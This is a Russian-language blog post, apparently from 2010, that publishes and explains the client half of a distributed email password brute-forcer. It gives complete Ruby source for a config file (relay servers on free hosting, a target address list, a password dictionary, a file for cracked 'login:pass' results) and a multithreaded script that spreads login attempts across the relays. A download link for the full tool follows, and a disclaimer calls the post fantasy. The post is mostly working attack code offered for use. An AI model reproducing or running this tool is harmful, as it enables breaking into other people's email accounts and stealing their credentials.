<p>Клиентская часть состоит из 2-х скриптов:</p>
<ol>
<li>config.rb &#8211; файл конфигурации</li>
<li>main.rb &#8211; собственно сам клиент</li>
</ol>
<p>Сначала рассмотрим кофиг. Представляет он из себя следующее:</p>
<blockquote><p>#!/usr/bin/ruby</p>
<p>$servers=['lukmus.ru','second.server.ru','third.server.ru','etc.freehost.com']<br />
$path=&#8217;/mailbrut/brut.php&#8217;</p>
<p>$login=&#8221;root&#8221;<br />
$pass=&#8221;jvgfdhg6hj&#8221;</p>
<p>$th_count=3</p>
<p>$fl_addrs=&#8221;mail_list&#8221;<br />
$fl_log=&#8221;mailbrut.log&#8221;<br />
$fl_good=&#8221;good_accs&#8221;</p>
<p>$passes=['pass','qwerty','123456','12345','etc...']</p></blockquote>
<p>Теперь разберемся в нем:</p>
<ul>
<li>$servers &#8211; здесь пишем наши фризосты</li>
<li>$path &#8211; путь на фрихостинге до нашей серверной части, на всех сайтах должен быть один и тот же</li>
<li>$login и $pass &#8211; пароль админа брута, должен совпадать с указанными в config.php в серверной части</li>
<li>$th_count &#8211; количество потоков брутфорса, он же у нас многопоточный</li>
<li>$fl_addrs &#8211; файл, записаны почтовые адреса которые мы брутим. Каждая запись должна начинатся с новой строки.</li>
<li>$fl_log &#8211; лог, сюда пишутся все ошибки</li>
<li>$fl_good &#8211; здесь будут сохранятся удачно сбрученные почтовые акки в виде login:pass</li>
<li>$passes &#8211; записываем пароли, на которые брутим</li>
</ul>
<p>А теперь рассмотрим сам скрипт, который будет выдавать запросы нашим хостингам.</p>
<p>main.rb:</p>
<blockquote><p>#!/usr/bin/ruby<br />
require &#8216;net/http&#8217;<br />
require &#8216;config.rb&#8217;</p>
<p>class WEB_Server<br />
def initialize (servers)<br />
@servers=servers<br />
@i=0<br />
end#def<br />
def next_s<br />
server=@servers[@i]<br />
@i+=1<br />
if @i&gt;=@servers.size then @i=0 end<br />
return server<br />
end#def<br />
end#class</p>
<p>def log(logfl,msg)<br />
mess=&#8221;#{Time.now} &lt;-&gt; #{msg}&#8221;<br />
logf=File.new(logfl,&#8217;a')<br />
logf.puts mess<br />
logf.close<br />
puts mess<br />
end#def</p>
<p>puts &#8220;Lukmus PHP-Ruby WebMailBrut starting&#8230;&#8221;</p>
<p>servers=WEB_Server.new($servers)<br />
accs=File.new($fl_addrs,&#8217;r')<br />
while !accs.eof do<br />
op_addr=accs.gets.chop<br />
while Thread.list.size&gt;$th_count do sleep(1) end<br />
th=Thread.new(op_addr) do |p_addr|<br />
$passes.each do |p_pass|<br />
serv=servers.next_s<br />
http = Net::HTTP.new(serv, 80)<br />
data = &#8220;login=#{$login}&amp;pass=#{$pass}&amp;op_addr=#{p_addr}&amp;op_pass=#{p_pass}&#8221;<br />
headers = { &#8216;Content-Type&#8217; =&gt; &#8216;application/x-www-form-urlencoded&#8217;}<br />
resp, data = http.post($path, data, headers)<br />
ans=data.split(&#8216;&lt;ans&gt;&#8217;)[1].split(&#8216;&lt;/ans&gt;&#8217;)[0]<br />
case ans<br />
when &#8216;-3&#8242;<br />
log($fl_log,&#8221;ERR #3 Can&#8217;t open socket &lt;-&gt; #{p_addr}:#{p_pass}&#8221;)<br />
when &#8216;-2&#8242;<br />
log($fl_log,&#8221;ERR #2 Can&#8217;t connect to server &lt;-&gt; #{p_addr}:#{p_pass}&#8221;)<br />
when &#8216;-1&#8242;<br />
log($fl_log,&#8221;ERR #1 Can&#8217;t input login &lt;-&gt; #{p_addr}:#{p_pass}&#8221;)<br />
when &#8217;0&#8242;<br />
puts &#8220;#{serv} &lt;-&gt; #{p_addr}:#{p_pass} &lt;-&gt; invalid pass&#8221;<br />
when &#8217;1&#8242;<br />
log($fl_good,&#8221;#{serv} &lt;-&gt; #{p_addr}:#{p_pass} &lt;-&gt; SUCCESS&#8221;)<br />
break</p>
<p>end#case<br />
#http.close<br />
end#each<br />
end#thread<br />
end#while<br />
th.join</p></blockquote>
<p>Он работает по следующему принципу:</p>
<ul>
<li>ОСНОВНОЙ ПОТОК: открывает файл со списком адресов и берет первый</li>
<li>ОСНОВНОЙ ПОТОК: создает поток, который будет работать с этим адресом</li>
<li>ПОТОК: берет первый пароль из нашего списка</li>
<li>ПОТОК: берет первый хостинг и посылает запрос серверу на попытку авторизации</li>
<li>ПОТОК: далее берет следующий хостинг и следующий пароль и так далее</li>
<li>ОСНОВНОЙ ПОТОК: берет следующее мыло из списка и создает новый поток под него и так далее.</li>
</ul>
<p>В случае если поток находит правильный пароль, то поток самоуничтожается, тем самым пресекая бессмысленные попытки авторизации с оставшимися, заведомо ложными паролями.</p>
<p>Ну вот и все, как запустить скрипт Ruby можно прочитать <a href="http://blog.lukmus.ru/?p=57" target="_self">здесь</a>, а скачвть все это дело одним архивом можно <a href="http://sharingmatrix.com/file/9978975/php-ruby_webmailbrut.tar" target="_blank">здесь</a></p>
<pre>Статья является плодом бурной фантазии автора и не призывает ни к каким действиям,
противоречащим законодательству. Ответственность за использование материала ложиться только на вас!
Любые совпадения с реальными людьми считаются случайными.</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/06/27/raspredelennyiy-pop3-brutfors-ili-brut-myi/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
